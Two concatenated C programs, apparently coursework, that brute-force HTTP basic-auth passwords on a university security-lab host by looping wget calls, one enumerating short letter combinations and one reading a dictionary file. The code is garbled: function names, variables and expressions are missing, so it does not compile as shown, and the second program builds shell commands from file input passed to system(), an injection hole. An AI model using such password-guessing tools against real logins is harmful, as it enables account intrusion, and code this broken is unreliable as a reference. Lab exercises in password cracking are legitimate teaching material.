#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/time.h>



char* joinMe(char* t, char* t2)
{
	char* result;
	int length = 0;
	int j = 0;
	int counter = 0;
	
	length = strlen(t) + strlen(t2) + 1;
	
	result = malloc(sizeof(char) * length);
	
	
	for(j = 0; j<strlen(t); j++)
	{
		result[j] = t[j];
	}

	
	for(j = strlen(t); j<length; j++)
	{
		result[j] = t2[counter];
		counter++;
	}
	
	
	result[length-1] = '\0';

	return result;
}


void check(char** smallcmd)
{
	int pid = 0;
	int status;

	
	if( (pid = fork()) == 0)
	{
		
		execvp(smallcmd[0],smallcmd);
	}
	else
	{
		
		while(wait(&status) != pid);
	}
}

int (void)
{
	int i = 0, j = 0, k = 0;
	char** smallcmd;
	char* [] = {"a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w",
						"x","y","z","A","B","C","D","E","F","G","H","I","J","K","L","M","N","O","P","Q","R","S","T",
						"U","V","W","X","Y","Z"};
	int count = 0;
	FILE *myFile,*myFile3;
	int compare2;
	char* myString;
	int length = 0;
	int start2, end2;
	
	
	myString = malloc(sizeof(char) * 100);
	smallcmd = malloc(sizeof(char *) * 8);
	
	smallcmd[0] = "/usr/local//wget";
	
	smallcmd[1] = "--http-user=";
	smallcmd[2] = "--http-passwd=";
	smallcmd[3] = "-o";
	smallcmd[4] = "logwget";
	smallcmd[5] = "-nv";
	smallcmd[6] = "http://sec-crack.cs.rmit.edu./SEC/2/";

	printf("---------------now trying Brute force attack-----------------\n");
	start2 = time();

	
	for(i = 0; i<52; i++)
	{
		smallcmd[2] = joinMe(smallcmd[2],[i]);
		printf("Checking %s\n",smallcmd[2]);
		check(smallcmd);
		count++;
		myFile = fopen("logwget", "r");
		if (myFile != (FILE*) NULL)
		{
			fgets(myString,100,myFile);
			printf("%s\n",myString);
			if( strcmp(myString,"Authorization failed.\n") != 0)
			{
				
				printf("Passwd = %s",smallcmd[2]);
				end2 = time();
				myFile3 = fopen("log.txt","a");
				fprintf(myFile3,"%s",smallcmd[2]);
				fputs("\nTime taken by Brute Force Attack ",myFile3);
				compare2 = (end2-start2)/1000000000;
				fprintf(myFile3,"%lld",compare2);
				fputs(" seconds\n",myFile3);
				fputs("this took ",myFile3);
				fprintf(myFile3,"%d",count);
				fputs(" attempts\n\n",myFile3);
				fclose(myFile3);
				exit(0);
			}
			fclose(myFile);
		}
		
		smallcmd[2] = "--http-passwd=";
	}

	
	for(i = 0; i<52; i++)
	{
		for(j = 0; j<52; j++)
		{
			smallcmd[2] = joinMe(smallcmd[2],[i]);
			smallcmd[2] = joinMe(smallcmd[2],[j]);
			printf("Checking %s\n",smallcmd[2]);
			check(smallcmd);
			count++;
			myFile = fopen("logwget", "r");
			if (myFile != (FILE*) NULL)
			{
				fgets(myString,100,myFile);
				printf("%s\n",myString);
				if( strcmp(myString,"Authorization failed.\n") != 0)
				{
					
					printf("Passwd = %s",smallcmd[2]);
					end2 = time();
					myFile3 = fopen("log.txt","a");
					fprintf(myFile3,"%s",smallcmd[2]);
					fputs("\nTime taken by Brute Force Attack ",myFile3);
					compare2 = (end2-start2)/1000000000;
					fprintf(myFile3,"%lld",compare2);
					fputs(" seconds\n",myFile3);
					fputs("this took ",myFile3);
					fprintf(myFile3,"%d",count);
					fputs(" attempts\n\n",myFile3);
					fclose(myFile3);
					exit(0);
				}
				fclose(myFile);
			}
			
			smallcmd[2] = "--http-passwd=";
		}
	}

	for(i = 0; i<52; i++)
	{
		for(j = 0; j<52; j++)
		{
			for(k = 0; k<52; k++)
			{
				
				smallcmd[2] = joinMe(smallcmd[2],[i]);
				smallcmd[2] = joinMe(smallcmd[2],[j]);
				smallcmd[2] = joinMe(smallcmd[2],[k]);
				printf("Checking %s\n",smallcmd[2]);
				
				check(smallcmd);
				count++;
				myFile = fopen("logwget", "r");
				if (myFile != (FILE*) NULL)
				{
					fgets(myString,100,myFile);
					printf("%s\n",myString);
					if( strcmp(myString,"Authorization failed.\n") != 0)
					{
						
						printf("Passwd = %s",smallcmd[2]);
						end2 = time();
						myFile3 = fopen("log.txt","a");
						fprintf(myFile3,"%s",smallcmd[2]);
						fputs("\nTime taken by Brute Force Attack ",myFile3);
						compare2 = (end2-start2)/1000000000;
						fprintf(myFile3,"%lld",compare2);
						fputs(" seconds\n",myFile3);
						fputs("this took ",myFile3);
						fprintf(myFile3,"%d",count);
						fputs(" attempts\n\n",myFile3);
						fclose(myFile3);
						exit(0);
					}
					fclose(myFile);
				}
				
				smallcmd[2] = "--http-passwd=";
			}
		}
	}

	return 1;
}




#include<stdio.h>
#include<strings.h>
#include<stdlib.h>
#include<ctype.h>
#define MAX_SIZE 255



int genchkpwd(char *passwd, FILE *fp)
 {
   int i,l=0,success;
   char str1[MAX_SIZE],str2[MAX_SIZE],tempstr[MAX_SIZE];
   char finput;
   
   strcpy(str1,"wget --http-user= --http-passwd=");
   strcpy(str2," http://sec-crack.cs.rmit.edu./SEC/2/");
   strcpy(tempstr,"");

     while ((finput=fgetc(fp)) != EOF)
       {
         l=0;
	 for (i=0;i<MAX_SIZE;i++)
	  passwd[i]='\0';
	 for (i=0;i<MAX_SIZE;i++)
	  tempstr[i]='\0';


 
         while(finput!='\n')
         {
	 
	   passwd[l]=finput;
	   l++;
	   finput = fgetc(fp);
	 } 


         
         if(strlen(passwd)<=3)
	  {
            strcat(tempstr,str1);
            strcat(tempstr,passwd);
            strcat(tempstr,str2);
	    printf("SENDING REQUEST AS %s\n",tempstr);
	    success=system (tempstr);
	  
            if (success==0) 
               return 1;
            else
              strcpy(tempstr,""); 
              strcpy(passwd,"");
          }
       }
	 
      return 1;      

  }  

int  (int argc, char *argv[])
 {
     FILE *fp;
     char chararray[52],passwd[MAX_SIZE];
     int i,success;
     


     
     int , end;    
      = time();	 

   if (argc != 2)
    {
      puts("Wrong Arguments FORMAT: ./<filename> <dictionary file>");
      exit(0);
    }
   fp = fopen(argv[1], "r"); 

   if (fp == NULL)
    {
      puts("Cannot Open Source File");
      exit(0);
    }
     for (i=0;i<3;i++)
      {
          passwd[i]='\0';
      }  

      success=genchkpwd(passwd,fp);
      printf("\nPassword is %s\n",passwd); 
      getpid();
      end = time(); 
      printf("Time required = %lld msec\n",(end-)/());
     return (EXIT_SUCCESS);
  }
     
	   
	  	
